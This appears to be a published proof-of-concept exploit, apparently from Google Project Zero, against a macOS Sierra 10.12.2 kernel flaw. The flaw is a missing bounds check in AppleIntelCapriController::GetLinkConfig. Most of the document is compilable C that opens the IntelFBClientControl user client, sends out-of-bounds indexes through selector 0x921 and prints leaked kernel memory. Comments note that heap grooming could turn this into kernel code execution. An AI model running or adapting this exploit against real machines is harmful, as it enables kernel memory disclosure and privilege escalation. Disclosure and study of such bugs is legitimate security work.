macOS Kernel 10.12.2 (16C67) - 'AppleIntelCapriController::GetLinkConfig' Code Execution Due to La

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1071
 
Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig
 
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
 
This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer
on which a virtual method is called. With some heap grooming this could be used to get kernel code execution.
 
tested on MacOS Sierra 10.12.2 (16C67)
*/
 
// ianbeer
 
// build: clang -o capri_exec capri_exec.c -framework IOKit
 
#if 0
MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig
 
Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig
 
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
 
This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer
on which a virtual method is called. With some heap grooming this could be used to get kernel code execution.
 
tested on MacOS Sierra 10.12.2 (16C67)
#endif
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#include <mach/mach_error.h>
 
#include <IOKit/IOKitLib.h>
 
int main(int argc, char** argv){
  kern_return_t err;
 
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
 
  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
 
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }
 
  uint64_t inputScalar[16]; 
  uint64_t inputScalarCnt = 0;
 
  char inputStruct[4096];
  size_t inputStructCnt = 4096;
 
  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;
 
  char outputStruct[4096];
  size_t outputStructCnt = 0x1d8;
 
  for (int step = 1; step < 1000; step++) {
    memset(inputStruct, 0, inputStructCnt);
    *(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8));
 
    outputStructCnt = 4096;
    memset(outputStruct, 0, outputStructCnt);
    
    err = IOConnectCallMethod(
      conn,
      0x921,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
 
    if (err == KERN_SUCCESS) {
      break;
    }
 
    printf("retrying 0x2000 up - %s\n", mach_error_string(err));
  }
 
  uint64_t* leaked = (uint64_t*)(outputStruct+3);
  for (int i = 0; i < 0x1d8/8; i++) {
    printf("%016llx\n", leaked[i]);
  }
 
  return 0;
}